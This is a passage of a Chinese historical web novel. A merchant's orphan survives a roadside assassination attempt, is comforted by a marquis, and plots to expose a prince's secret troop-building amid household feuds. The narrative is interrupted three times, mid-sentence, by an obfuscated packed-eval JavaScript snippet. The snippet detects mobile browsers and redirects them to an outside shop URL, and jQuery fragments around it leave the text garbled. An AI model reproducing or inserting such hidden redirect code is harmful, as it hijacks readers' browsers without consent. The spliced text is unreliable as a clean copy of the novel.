十五个大汉，无一不是身量极高，满身蛮肉，个个都跟小山一样，他们骑的马也比寻常的马高大，手中握着一柄极长的物什，通身被黑布裹着，看不出是什么，应该是武器，但在场所有人都从未见过有这样长的刀剑，至少七尺，更像长棍。 福明带着人过来，下马跑到玉怜脂面前：“玉姑娘！” “福明郎君。”她笑着应答，眼神有些小心，看向不远处的兵汉，“他们就是……？” 福明颔首：“侯爷吩咐，为防回京路上有变，便让他们跟着护卫，等姑娘安全入了城，人再撤回来。” 说着，他抬臂指向十五人中最前面的络腮胡大汉，说道：“那个是领头的，叫钱豹，姑娘只管吩咐他就是。” 玉怜脂抿了抿唇：“这样，会不会太郑重了？” 福明：“侯爷是担忧姑娘，说万事还是求稳为上，姑娘安危最重要。” 少女眼神一动，垂下眸，脸颊却有薄红：“……他有心了。” 福明笑着连连点头：“姑娘明白侯爷心意就好。” “再耽搁天色就晚了，姑娘快启程吧，属下也好回去复命。” “好。” 关嬷嬷和段素灵扶着她上了马车，马夫一挥车鞭，车轮缓缓滚动起来，车队开始朝山外行进，兵骑立即跟随上去。 ———— 从真皇山回京，若无意外，他们绝对能在戌时城门关闭前抵达京都。 冬日的夜来得太早，出发两个时辰后，天已经彻底黑了下来，官道两侧的林子枯叶凋敝，树干被大风吹摆撞击，萧瑟凄清中隐隐催发不安与诡谲。 雪落得更大了些，所有马匹的速度也开始放慢。 车厢内，烛光昏暖，自成一方小天地。 官道覆雪后，道上许多坑洼石子隐藏在一片白茫茫下，又是一次压撞路石，车厢颠簸而起，数秒后，回归平静。 段素灵翻过一页黄纸，忽地，两耳轻动一瞬。 而后放下手中医书，侧身靠近车壁，贴伏。 玉怜脂窝在厚枕堆里，身上盖着兽绒被，被里好几个汤婆子，手里也捧着一个，闭目休养。 听见动静，微睁开眼，撑身起来，看向右方脸色逐渐沉下来的白衣女子： “阿姊？怎么了？” 段素灵停顿片刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991732|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，默然不语。 而后摇摇头，手撑住车壁缓缓直起身：“没什么——” 尾音还未落定，下一瞬，她双瞳猛地缩紧。 意识尚未跟上，身体已经遵循本能朝侧前方一扑，将软毯上的少女压着翻滚到一旁！ 后者披在身后的长发甚至还没彻底离开毯子。 “铿——！！” 一根闪着锐光的羽箭狠狠钉在玉怜脂一秒前躺着的地方。 箭速迅疾，尖端银辉完全沉入木中，尾部白羽还在剧烈颤动。 如果段素灵速度稍慢一些，那根利箭此刻已经插穿她的肩部。 “姑娘！”关嬷嬷尖叫一声，连忙扑过去。 段素灵此时已经翻身而起，手往车壁暗格探去，下一刻长刀出鞘。 那一根箭如同暴雨来临的警信，第一滴雨落下，而后便是无止滂霈。 箭雨霎那间朝车厢冲来，接二连三有长箭从车壁薄弱处射入厢内，段素灵眼中狠利，手中刀猛扫八方。 然而很快，箭雨便停了下来，窗纸窗帘全部撕裂，玉怜脂喘着气，向外望去，谢砚深派来的兵汉围住了她的马车。 如此急骤的攻势，他们竟然毫发无伤，围住她车厢的有五人，其余十人已经和护卫一起，冲向官道两旁。 两侧林子中，不知何时埋伏了许多身着夜行黑衣的精壮男子，纵马攻来。 段素灵一脚踹开车门，车外马夫已经中箭倒地，拉车的两匹马也被弓箭射杀，形势很分明，如果不解决那群刺杀之人，她们休想逃出生天。 可是林中黑衣杀手的数量，比他们要多出至少二十人。 “钱豹统领！”段素灵侧头朝旁边马上的大汉喊道，“快派人去求援！” 情况紧急，她的声音都破哑了。 马上的军汉回过头，却竟然完全不见着急，开口：“不必。” 段素灵瞪大眼，简直想要挥刀砍人：“你……！” 钱豹面色不变，转回头，抬臂持器指向林中：“能杀光。” 此时，车上三人才看清他们手中长形物什的真容。 那是一柄形状奇绝的长刀。 身长七尺，沉数十斤，刀光如雪，铁锋极寒，刀身两面皆刃，目视而去，非膂力猛悍者不可挥使。 专为屠戮而生的战刀。 十名粗壮彪悍的大汉运刀策马，目中赤红，浑身横肉搏动弹鼓，如巨石碾向林中敌寇。 玉怜脂从车窗朝外看去，下一瞬，一股浓郁到极致的腥气扑面而来，她眼前闪过混乱的红，脸上感到一阵温热，耳边是此起彼伏的凄厉惨叫。 手臂抬起，指尖抹下猩红血迹。 再定睛，心神惊撼。 十数米外的林中，血落成雨，尸肉横飞。 长刀杀斩屠伐，所过之处，人马俱碎。 领队的钱豹回首，看见她怔愣苍白的模样，连忙开口：“姑娘！这些个脏东西还是别看了！” 少女的眼珠颤动，微微偏转，和他对视。 下一秒，闭眼晕了过去。 42. 旅栈 京都夜禁，时辰一到，城门暮鼓响后，内外非有令在身不可通行，直到第二日五更方才重开城门。 法规虽有明文，百姓皆知，但还是免不了有行路者因着各种缘由来不及在城门下钥前入城。 既无法入城，又不可能硬闯，便只能在城外过夜，故而催生出许多车马店供人落脚留宿。 北地入冬后，各地来往的客商行人少了许多，道上积雪厚重，入夜后更是刀刮一样的狂风，在这样的时节强行夜晚赶路，不慎冻死城郊的每年都有。 高挂在牌匾招子上的灯笼不停晃摆，笼中烛火若不是用油布作引点燃，早就在冰寒夜色里彻底熄灭。 亥时尾，除了风雪呼啸，已经听不见别的声响。 栈房掌柜收了算盘，起身走向大门，最近的雪越下越大，这扇木门已经顶过许多年了，但还是要常常查看，前段时间才被囤粮的夜磨子啃出个不小的洞。 他插好门闩，刚要往回走，一阵令人心里打鼓的急促马踏声隔着木门透进来。 掌柜眼皮一跳，几乎是下意识地快速挪步，想要把大堂里的烛火给灭了。 但没来得及。 本就不算太厚重的木门下一秒被砸出震天响—— “店家！住客！开门！” 声音浑厚有力，绝对是强壮汉子，而且门外嘈杂混乱，来者恐怕十人不止。 这样晚行路来京，还全是大汉，想也知道不会有什么好事，更可能是大麻烦。 掌柜腿一软，手足无措，只想装聋让他们换一家车马店。 但来人应该就是看准了这是最大的一间旅栈，不停叫门，数十秒一直没得到反应，又再重重捶了一下，而后铁锋刮过刀鞘的声音唰唰钻进门缝—— “店家！若再不应门，我们可就不客气了！赶紧开门！” 掌柜的呆住两秒，连滚带爬，吃了吃奶的力，把门上的横木一下拨了起来。 身上衣物浑湿的络腮胡汉子踏了进来，身上不是汗味，而是沉重的腥味。 瞬间认出这是什么味道的掌柜腿更软了，立刻把头低下来不敢多看，然而眼睛往下，又对上络腮胡大汉手上提的染血长刀，那一刻他简直想把自己戳瞎了。 “诶！”钱豹偏头，朝旁边就差跪地磕头的掌柜抬抬下巴，“店里还剩下多少间房？” 栈房掌柜颤颤巍巍：“入冬了人，人少，房都，都空着，军爷……” “行！”钱豹点头，右手一扬，抛过去什么东西。 掌柜反应很快，连忙接住，东西分量沉得他两手一晃。 定睛一看，一个大钱袋，里头搁楞作响，他下意识地拉开袋口，里头不是铜银，而是金子。 再抬头，眼前的大汉亮出了牌子，沉声道：“我们是京城侯府的人，好好伺候，少不了你的赏钱。” 掌柜盯着那块牌子，瞪大眼。 “把你店里的人都叫起来，烧水，拿药，备菜！” 其实不需要叫，因为店里的伙计全部都惊醒了，此刻躲在柜台和后厨交界的地方战战兢兢观望。 “……是，是！”掌柜捧着钱袋，立刻朝他们大喊，“快去——” 钱豹转回头，身后，白衣浸血的女子走入门内，手中横抱着被软毯裹紧的纤瘦少女。 “上房，带路。”段素灵冷冷看着驿栈掌柜。 “您这边请！” - 谢砚深收到消息，从真皇山赶到城外已经是第二日清晨。 踏入车马店时，守在店内的人都被他的神色惊得一跳。 脸色黑沉至极，目中肃杀之意毫不遮掩，令人胆颤的暴怒。 官道上刺杀之人的尸体几乎都没有完整的，陌刀本就是步兵对战骑兵所用，刀法特殊，用刀者还必须身量极高，体沉肉重，在战场上拼力一击，可立时将骑兵战马前肢斩下。 这样的东西用来杀人，一刀劈下去，直接将人切断了。 有零星几个逃走了，剩下的要么当场就没了命，要么在还剩口气的时候服毒自尽。 兵营里的人清扫战场很迅速，又逢大雪，官道上的血色很快湮灭。 几乎无迹可查。 但有力量能派出这么多死士的，放眼天下，寥寥几人。 福明跟在后头，头皮发麻。 他很少看到主子这样骇人的震怒，像是狂风惊雷席卷。 或许那位的分量，比他想的还要更重。 一路到了二楼，最里间的天字号上房，门开了。 老妇人端着一托盘的吃食，垂头丧气地走出来。 正抬手抹眼泪，转头冷不丁看见一道高大身影，吓了一大跳。 “侯，侯爷！”关嬷嬷惊叫一声，“您怎么……” 谢砚深不欲和她废话，直问：“她怎么样？” 关嬷嬷掉着泪，朝身后房门看了一眼，哽咽片刻，才道： “姑娘，姑娘吓坏了，昨夜是晕着被抱过来的，好不容易施针救醒了，熬了一整宿不肯睡，说做噩梦，不吃也不喝，人都是恍惚的。” “姑娘上回的病还没好全，就又受这样的惊吓，那些杀千刀的，这不是要了她的命去吗……”说着泣不成声。 气氛沉寂凝重，不知过了多久，廊上男人复又抬步。 谢砚深大步越过她，冷声朝后下令：“都走。” 福明一激灵，连忙拉过关嬷嬷，应声：“是！” 男人推开门， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991733|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一股幽香卷着似有若无的药气扑来。 他是熟悉这味道的，玉怜脂冬日惯爱用的酴釄香。 城外的车马店比不了京里的大客栈，虽是上房，但面积也就这么点。 他一偏头，目中立即映入一道素白的瘦弱身影。 在床榻上，裹着被子蜷缩在角落里。 双臂抱着膝盖，脑袋也垂着。 开关房门的声响不小，但她一点反应都没有。 谢砚深尽量放轻脚步，朝她走过去，一直到了榻边，她还是头都不抬一下。 他屈膝跪在床上，靠近她。 下一刻，大掌捧住她的脸，抬起来。 果不其然，眼下一片青黑。 她肤色极白，在这样的颓萎下，憔悴得更加惊人。 “为什么不睡觉？”他低声说。 声音沉哑，却温柔，与来时暴怒的模样截然不同。 此时，她才像是活了过来，终于有了动静，抬眼，愣愣地看他。 “是睡不着么？”他直直看着她的眼，继续问。 少女的眼中空荡荡的，忽地，呼吸急促了两秒，被下的身体瞬时脱离出来，手臂几乎是迫不及待地环住男人的脖颈。 他顺势接住她，只是一瞬，她整个人都嵌入他的怀中。 她抱着他，牙关都在打战。 受了惊吓后，她一直没说话，现在再想开口，竟然有些迟钝，只能埋在他颈窝里呓语，混乱，不成语句。 但他很有耐心，低声哄着她。 “……来了……你来……嗯……” “我来了。” “……血……好多，血……”她说着，手中不自觉揪扯他的衣襟。 “已经清理掉了，没事了。” “死了……好多，死了……” “都过去了。”他抚摸着她的侧颊。 “我，我害……呜……我害怕……” “别怕，我在这。” “……” 她的话颠三倒四，但他一字一句都回答。 过了好一会儿，泪水从她空洞的眼滑落下来。 她开始有泣音，低弱的啜泣。 谢砚深把她抱起来，让她坐在腿上，吻她的眼、唇，紧紧把她锁在怀中。 此刻她最需要这样的炽热，坚定的、难以分割的。 让人心安的。 她的哭声开始渐渐大了起来，最后泪水彻底决堤，恐惧到了极点—— “他们要杀我，又来杀我了……”她贴紧他，像是寻求依靠的落水之人，身躯都在颤抖。 “有我在，没人能杀你。”男人抹去她脸上的泪水，沉声。 “谁都不能。” 43. 雷霆 直到午时，紧闭的房门才再次打开。 守在廊道上的福明站直身，连忙迎上去：“侯爷！” 谢砚深的脸色已经没有刚进去时那样沉晦，只是面无表情，身上外穿的披风、腰摆缀着的狴犴璁珩都不见了踪影，衣衫也不似来时整洁，领襟处像是被抓揉过，尽是抹不平的褶皱痕迹。 福明小心看向主子的面容，下一瞬忽地瞥见他唇角处有一抹红损、鬓边的发也些微凌乱。 眼睛猛地瞪大，赶紧低下头。 “你留下，安排好事宜，等她醒了，护送她回府，”谢砚深默然片刻，思定之后，开口吩咐，“润安堂那边，不许有疏漏。” 福明：“奴才明白。” 话中的她是谁，不言而喻。 至于润安堂，即使他家侯爷不说，他也知道该怎么回话。 为了府里的平静暂时不被打破，此次冬祭发生的这些事，自然是能瞒多紧，就瞒多紧， 谢砚深抬手，垂眸整理衣袖上的护臂：“还有，之前派去两江的人，不必撤回来了。” 福明倏地一惊，抬头失声：“侯爷，两江……！” 男人冷冷眄视他：“传书，继续查苏州现任知府柳启彦、还有他岳父吴令峰当年门下故吏，无论那些人是否休致。再有，去把江南武库署署令这些年上报兵部的典册调来。” 令至此，不容置疑。 福明终究是伺候多年，立刻觉察到事情有异，不敢再劝：“是！” 谢砚深转步向楼下而去，目中沉暗如水。 半刻之前，他终于哄得她愿意安眠，贴身的玉佩让她拿了去，握在手里，身上的披风也任她扯下。 玉怜脂整个人伏在他的怀抱中，已经累极了，浑身都没有力气，半梦半醒，声音飘飘忽忽的—— “……我知道，他们是不会放过我的……不会的……” 谢砚深的眉心顿时紧蹙。 他早已知道当年事有蹊跷，也一直疑虑她被追杀的原因，只是她不说，他也不欲去问。 让她仔细回忆父母遇害后的细节，无异于撕开她最痛的那道伤疤，她心疾屡犯，不宜再加重忧思。 两江官府疑云重重，她北上之路又充满杀机，正因如此，他才会从兵营调出精锐护她回京。 然而昨日惨烈比他预想中的更甚数倍不止。 若说先前只是隐有怀疑，那么现在，他可以完全确定，要她性命的人绝对不仅仅只是一个显赫门第出身的知府。 但眼下，他只能先专注安抚她：“有侯府在，能保你一世无虞。” “这次过后，他们必会有所收敛。” “不，不……”她的眼角又滑下泪，“他们还会再来的……因为，因为那刀……” “什么？” “刀，杀了我阿爹阿娘的刀……！那刀上有，有字……” “字?……什么字？”他眯起眼，一阵不安的寒意袭上心头。 “……平武，平武十年……两江军器监造锷……刀匠，史全等……造。” 尾音收尽，一直回应她的人没了声音，而她也很快沉沉睡去。 没有看见抱着她的男人骤然沉下的脸色。 - 车队抵达侯府所在路道已经是傍晚，离角门尚有些距离时，就遥遥看见门边守着的小厮，后者也瞧见了他们，一个激灵，立刻往门内跑。 不多时，有两名婢女从角门跨出，身上穿着鹅黄撒花棉裙，明显是体面的大丫鬟。 福明一打眼就认出来了，是润安堂的人。 他回头望了一眼身后的两驾马车，像是知道他会往回看，马车厢门吱呀一声打开，老妇人从里头探出半个身子，皱着脸朝他使劲摇头。 此刻玉怜脂还在马车中睡着，她身体太弱，又一夜未眠，真正是困倦难当，从车马店的房里被抱入车厢都毫无知觉，睡得无比香甜。 ——根本没法起身见人，更别说应付润安堂的婢女了，睡下的时候几乎是半昏过去的，意识早就混沌了。 福明认命地把头转回来，腿下一使力，马走得更快了些。 罢了！他原本就是被主子叮嘱留下护人的。 提缰勒马，福明翻身下了坐骑，几大步就走到润安堂两名婢女跟前。 “润安堂的?太夫人有何吩咐?”先声夺人。 两女看见他，颇为惊愕，面面相觑。 其中一个先开了口：“福明郎君?您怎么在这?” 福明打量她一眼，认出她是王老太君的心腹，当时和莲芯凑一对儿、想塞进主院的那个英草。 “自然是有主子命令。”他答。 英草的顿时复杂起来，向他身后张望：“您在这，那侯爷……” 福明皱着眉：“别看了，侯爷尚未回京，只是遣我护送玉姑娘回来。” 不等面前两人说话，他接着又道：“玉姑娘车马劳顿，大病方愈，去不了润安堂，还是我去向太夫人回话吧。” 英草脸色一变，微抬起下颌，清声：“玉姑娘昨日没按日程回来，也没见让人来个信，太夫人十分忧心，真是吃不下睡不好的，这不，还派了我们在这候着。现下姑娘回到府了，又继续寻借口躲着，这是哪来的道理?倒好像仗着侯爷不敬长辈似的，这岂不是……” 福明瞪着她：“昨日之事自有不得已的缘由，我之后自会向太夫人回禀，你急着断什么案子，这府里什么时候容得下非议主家的奴才了?” 英草脸色难看起来：“我只是……” 福明冷冷说：“若是侯爷在，此刻你已经被杖责赶出府去了！太夫人心慈，善待润安堂下人，不料想你们这帮丫头竟渐次忘了本分，养了一身蛮横娇纵之气，不知天高地厚，张口就是脏水是非，莫非当自己是女主子了不成，也不瞧瞧身上有没有这个斤两！” 话音落下，两个婢女白了脸，一时竟说不出话。 主院的管事里，福明和忠伯的地位无疑是最高的，但不似忠伯那样面冷严肃，福明一向好说话些，和府里的丫鬟小厮相处时也大多有笑容在脸上。 今日不知怎的，竟然这样疾言厉色，说出的话也这样诛心。 福明却不欲再搭理她们，朝后头车队挥手。 ˉ 安顿好珠玉院的事，福明不敢停步，赶紧奔去润安堂。 进了厅上，果不其然，座上王老太君脸色极为阴沉，旁边站着的英草眼眶里转着泪，见他进来，更是恨恨咬牙。 “参见太夫人。”福明低下头行礼，“奴才奉侯爷之命，护送玉姑娘回京，姑娘尚在病中，侯爷命奴才先行向您回禀昨日之事。” 王老太君冷笑连连：“我老婆子竟不知道这府里多了位主母一样的人物，你主子糊涂了，你不规劝着，反倒也被蛊惑了去，你这孽障，竟敢帮着她作践我院里的人！” “跪下！” 雷霆之怒，霎时降下。 福明面无惧色，撩袍单膝跪地。 他虽然小时是侯府的家生子，但当年风峡关恶战，随谢砚深在北境出生入死，早已脱了奴籍，如今是谢氏军帐下兵将，说是奴才，更像是家臣。 换句话说，王老太君无权处置他。 王老太君自己也知道这一点，若不然，按她往日脾性，早就将福明拉出去先打上二十板子，再让他回来回话。 “你不跟着在真皇山伺候，反倒来做护送的车马小厮，我倒想知道，你主子这发的是哪门子的善心？！”她挑眉冷哼，矛头调转， “商贾出身，派头倒是比世家贵女的都大，来我这润安堂一趟，还委屈她了不成，既如此，何必回来？你又来回什么话？你去，告诉她，外头天高海阔，自寻去处便是了！” 这是想要把玉怜脂逐出府去。 福明跪好后，扬声道：“太夫人息怒，桩桩件件实在非您所想，玉姑娘不来拜见，确是情有可原，正因为事由复杂，侯爷才派我来回禀。” “至于作践您院里的人，换作往日，奴才绝没有这个胆子，实是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991734|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为您院里的丫鬟口出恶言，冒犯侯爷。” 王老太君眯起眼，还是给了他辩驳的机会：“口出恶言？” 福明：“是，先前侯爷在族庄之时，便被润安堂出去的莲芯顶撞，动了大怒，可念着莲芯是您身边伺候的人，为了不让您操心，最终隐忍下来，没有惩处。但下了明令，若再有以下犯上多舌者，绝不轻纵。” “方才在角门处，奴才领着车队刚到门口，话都没说上两句，英草便口口声声玉姑娘仗着侯爷不敬您，玉姑娘如何暂且不论，可此番言语难道不是蓄意挑拨，好横生是非，陷侯爷于不孝？奴才伺候侯爷，岂能不为主子辩一句？” 非议主子不孝，若是真追究起来，做奴婢的可是大罪。 王老太君面色更沉了些，扫了一眼英草，后者打了个寒颤，神色有些慌张，连忙摇头：“太夫人，奴婢绝没有这个意思啊……” 福明又道：“昨夜玉姑娘遇刺，贼人虽未得手，可侯府护卫折了不少，兹事体大，侯爷军务在身，便让奴才回来护送玉姑娘，免得再生变故，玉姑娘大病未愈，又受了惊吓，如今尚且昏迷，无法前来，侯爷受大郎君、大夫人之托，照拂玉姑娘，实在是顾着手足之情。” “遇刺？”王老太君脸色一变。 “是，昨日官道有贼寇截杀，侯爷说，后头的事自然有大理寺去查，请太夫人安心。” 座上老妇人沉默片刻，才再开口：“……他没别的吩咐？” “太夫人明鉴，侯爷公务繁忙，尚在行宫之中，此事虽大，但侯爷的意思，若要处置，也得等回京之后，事有轻重缓急，不必急在一时。” 话说到这里，王老太君的表情就好多了。 若是谢砚深真把玉怜脂放在心上，如何这般不咸不淡，这样的做法，倒是十分符合他往日作风。 当日她派去族庄的人回来禀报，玉怜脂的病情的确不是作假，庄子里染了风寒的莲芯也说，亲眼看见了玉怜脂吐血，差点没从鬼门关回来，根本没心力顾其他事。 就连谢砚深被下药那晚，玉怜脂也没出过门。 既如此，两人确实不像有什么纠葛。 “行了，起来吧。”她挥手。 “谢太夫人。” 福明行事没问题，那和他对垒的人就得遭殃了。 王老太君朝旁边斜去一眼，英草战战兢兢，立时跪下，额边冷汗直流。 “太夫人，奴婢是为太夫人不平，才……” “贱婢！”王老太君冷斥一声。 英草惊呼一声，连连磕头。 但王老太君更生气了，一拍桌，让人钳她出去，禁闭房中思过，等候处置。 她怒不在英草出言挑拨，而是恨她瞎了眼，选的人这样立不住事，这样蠢！ 难怪当初她那犟种儿子瞧不上，使点心机都如此笨拙，三言两语就吓成这样，成事不足败事有余的蠢货。 也罢，她院里也不止莲芯英草两个丫鬟，多的是心思玲珑的，一个两个无用，那便再换就是了。 英草哭着被拉出去，王老太君接了甘嬷嬷递来的热茶。 垂目又问：“我且问你，你主子去见了工部的梅主事否?” 这是冬祭出发前，她特意嘱咐谢砚深的。 福明低着头：“见了。” “都说了些什么?” “侯爷按着太夫人吩咐，奉礼答谢了梅主事。” 王老太君拧眉：“还有呢?” “……没了。” “没了?！” 福明点头。 茶盏被猛地一下磕在桌上：“他就没去见见梅家姑娘?” 福明谨慎道：“侯爷事忙，未曾见过行宫里的贵女们。” 半晌死寂。 “……哼，好，好啊……”王老太君怒笑出声，“阳奉阴违，可真是我的好儿子！” 厅上众人不敢作声。 “你回去告诉他，让他回府之后立刻来见我！” “是。” 44. 心计 玉怜脂真正清醒过来，已经过去了三日。 这三日里，她便是睁开眼，浑身也没有力气，用完膳喝了药，很快又沉睡，一场冬祭，一次刺杀，将她的身体又拖垮几分。 婢女们手脚麻利，为她清洗穿衣，末了快步退出去，房门随之阖上。 段素灵坐在床边，亲自给她喂药：“姑娘这次病得凶险，一波未平一波又起，若非谢侯爷送来的那些药材，您恐怕还得再睡上几日。” 玉怜脂小口喝完药，清水净了口，才淡淡道：“本是半真半假，没想到只是一夜不眠，我这身子便不争气成这样。” 她当年清理商号中异己时，手里早就不干净了，那夜虽然血腥无比，令人胆寒，却也没到能立时吓晕她的地步。 只不过为着后头的谋算，她免不得用些苦肉计，谁能想到真就会数日神智不清了。 段素灵看着她谈到身体状况时冷淡的样子，心中的不安越来越重。 从谋划要动手开始，玉怜脂就说过，恐怕将来活不了了，甚至要她给她一颗药，到时候能求个痛快。 但段素灵却没打算尽照此话行事，只当她当时太过激动，只想着最坏的结果。 更何况她若是真的配一颗毒药给玉怜脂，死后还有何面目下去见东家和夫人。 世间之事从没有定数，将来她们未必不能全身而退。 可眼前人的模样，却让她无端觉得，她早已心存死志。 玉怜脂没听见回话，抬眼，对上女人复杂的神色。 隐在被下的手指轻动一瞬，随后表情倏然变得有些低落，垂下眼，开口： “……阿姊，我以后，还能有子嗣吗？” 段素灵一愣，没想过她会突然问这个。 “我是再也不会有子息了吧。”她蹙眉轻叹，眼中已然有泪。 她月信向来不准，寻常女子一月一回，她三两月才有一次，次次腹痛如绞，身体又孱弱，不用想也知道子嗣上艰难。 段素灵连忙急道：“怎会！姑娘无需担忧这些，有我在，自能为姑娘调理好身子，只是所需时日较长，给我五年，不，三年……” “阿姊是说，还有希望？”靠在床上的人直起身，喜悦之情溢于言表。 “自然，我何时诳骗过姑娘。” 玉怜脂握着她的手，轻声：“若是将来事成离开京都，我能想法得个孩子，那就好了。” “阿爹阿娘也会高兴吧。” “一定可以的。”段素灵心下登时松了些，默了片刻，又说“……届时，我定为姑娘仔细挑人，好得个聪明活泼的小主子。” 其实这天下最拔尖的男人已经被她家姑娘拉进了罗帐，但要是生的谢氏血脉，日后可不定有怎样无穷无尽的麻烦，还是另外选的好。 相貌必须上乘，身体也得健壮，但不能是愚鲁蛮横的武夫，必须清明聪慧、人品端方，才配得上她家姑娘。 事成之后去父留子，给足银钱打发了就是。 玉怜脂看着她染上笑意的眼睛，唇角勾了勾，随后又道：“阿姊，我晕了这些天，润安堂那边应该有不满了吧，可曾派人来过珠玉院？” 段素灵登时皱眉：“您还不知道那位王太夫人吗，姑娘便是伤得再重，她也不会放在心上。” “那便是没有来问过了。”玉怜脂沉吟瞬许，“她老人家不来，我却不能不去，明日我还是要去拜见的，免得落人口实。” 此刻天色已经晚了，她也不急着一定要今天去装样子。 “这几日有发生什么大事吗？他回来了吗？” 三日，谢砚深也该回京了。 段素灵冷哼一声：“姑娘算是问到关节了。” 玉怜脂挑眉：“怎么？” “谢侯爷昨日便回来了，润安堂那边大闹一场，说是王老太君气狠了，大骂谢侯不遵孝道，要谢侯去祖宗灵前跪悔。” “哦？具体发生了什么？” “这就不清楚了，润安堂的口风紧得很，只是当时动静太大，许多下人都听见了。” 玉怜脂半伏在床榻凭几上，手撑着下巴：“那他现在在小祠堂跪着？” 她可不信谢砚深有这么顺服窝囊，从边关尸山血海杀出来的男人，怎么可能被一句不孝就吓得去跪祠堂。 段素灵摇头：“自然没有，而且今日关嬷嬷回来说，谢侯命人把老太君身边贴身伺候的几个婆子丫鬟、还有润安堂的管事都给打了几十板子，差点就全发卖了，最后还是王老太君亲自拦下的。” 这话倒是给玉怜脂惊了一下：“为何？” 她知道谢砚深治下甚严，但自莲芯那次之后，她已经许久没见过他这样的杀伐果断了。 或许他有，只是这些日子里的温柔缱绻太容易将人麻痹，她几乎忘了他还有这一面。 亲娘身边的人，说动就动，一点情面也不留，听着话茬，他甚至强行夺了那些下人的身契。 也不怕把王老太君给气晕过去。 段素灵：“没说理由，跟着您回来的莲芯也被发回润安堂了。” “不过，多半是和议亲有关。” 如今能惹得王老太君大怒斥责谢砚深的，除了这件事，还真想不到别的了。 玉怜脂怔了一会儿，缓缓呼出一口气。 此时此刻，她才终于有回到京城的实感。 谢砚深的议亲的事迫在眉睫，他一次两次有所不悦，难道次次都顶回去？迟早是要提上日程的。 他和她不过露水情缘，她不信他会想着娶她，世族男子，自然是家族利益为上。 更何况有谢滨在，他们名分上已是乱了纲常，谢氏也不会接受一个商贾出身的孤女做侯府主母。 但她现在还不能抽身，她要做的事还没有做到，最起码，她此刻不会放手。 “那日在城外，我已经告诉他，那两把刀上的隐秘之处。”玉怜脂偏首，轻声道。 段素灵脸色变幻，也压下声：“那谢侯爷……会去查么？” 玉怜脂置在扶手的指轻抬又落下，有一下没一下地点着： “他官拜征北元帅，兼枢密副使，判兵科给事中，官造的军刀落到了草寇手里，这种军务上的大窟窿，他怎么都要查清楚的，否则岂不是放纵天下大乱。” 段素灵将声音放到最低：“若是侯爷真能查出实证，那之后，承王一党便是自寻死路，无需我们再动手了，陛下再仁慈，也断不可能放任亲王，暗中屯兵。” 说到最后四个字时，她用的是气音。 三年来，她们冥思苦想官匪勾结劫夺巨额财物的目的而不得结果。 但在那日寿宴之后，得知主谋从一个知府变成当朝亲王之后，突然有哪处关节打通了，最后推出这个让人毛骨悚然的答案。 这世道，什么东西最耗费钱财？ 无非赈灾、征战、养兵。 动辄便是百万银、千万银，甚至国库彻底空虚都填不满亏损。 可承王府既不需要赈灾，也没有仗可打，更不似先帝数次下江南奢靡无度，那承王要这么多银钱作何用。 再联系到金陵劫杀一案，原本应当严加管制的兵器流入匪寇之手，数量估算着还不少，这样大的事，两江诸城这些年来却一直风平浪静，没有半点动荡，足以证明江南兵营里藏着天大的猫腻。 一个地位二十多年以来都受到威胁、不被立储、一旦登不上皇位几乎等同必死无疑的皇嫡子，手中非要夺得一大笔钱财，又勾结地方军营官府，是要做什么事？ 古往今来实在太多先例。 但也正因有先例—— 玉怜脂眼中寒意霎时升起：“阿姊难道不知，帝王也有私心么？阅尽史册，举兵谋叛的皇子都身首异处、尽皆伏诛了？” “难道就没有因着君父愧怜而得以保全的太子、嫡子？说不准，生下的皇孙还能再把皇位夺回来。” 平武帝的性情，别说只是查到承王屯兵的证据，就是承王真的反了，事败之后，平武帝也不见得一定杀他。 玉怜脂嗤笑道：“说起来，既然冬祭已经结束了，那睿王的案子也清了吧？让我猜猜，睿王没落下什么罪名，法场贴了告示要秋后斩首的是睿王府某些近臣，或是睿王一党品阶不高的官员。” 皇帝是真真切切地宠爱睿王，否则那样大的罪状，睿王如何还能跟着去冬祭，至少也要禁足府中稍平民愤，可民间的消息传了几天就又被强行压下去，没有皇帝的示意和默许，谁敢。 早便是打定主意，大事化小小事化了，让臣下顶了这罪名了。 段素灵抿紧唇，显然她是说中了。 “可不可笑？这就是帝王的舐犊之情，”玉怜脂面色冰冷，“自己的儿子，无论如何都是舍不得的。” “陛下对睿王这般偏心，能冒着骂名保下他，难道又一定不会保承王？若陛下对承王毫不留情，承王早就反了，怎会到现在还隐忍着。” 段素灵心神不定：“那您让谢侯爷去查，就算查到了，岂不是也毫无用处？” 谢氏从来都是忠于君上，若是平武帝就是不愿诛杀承王，谢砚深难道逼着皇帝下手不成？ 玉怜脂轻笑一声，幽幽道：“怎么没用？太有用了。” “姑娘的意思……？” 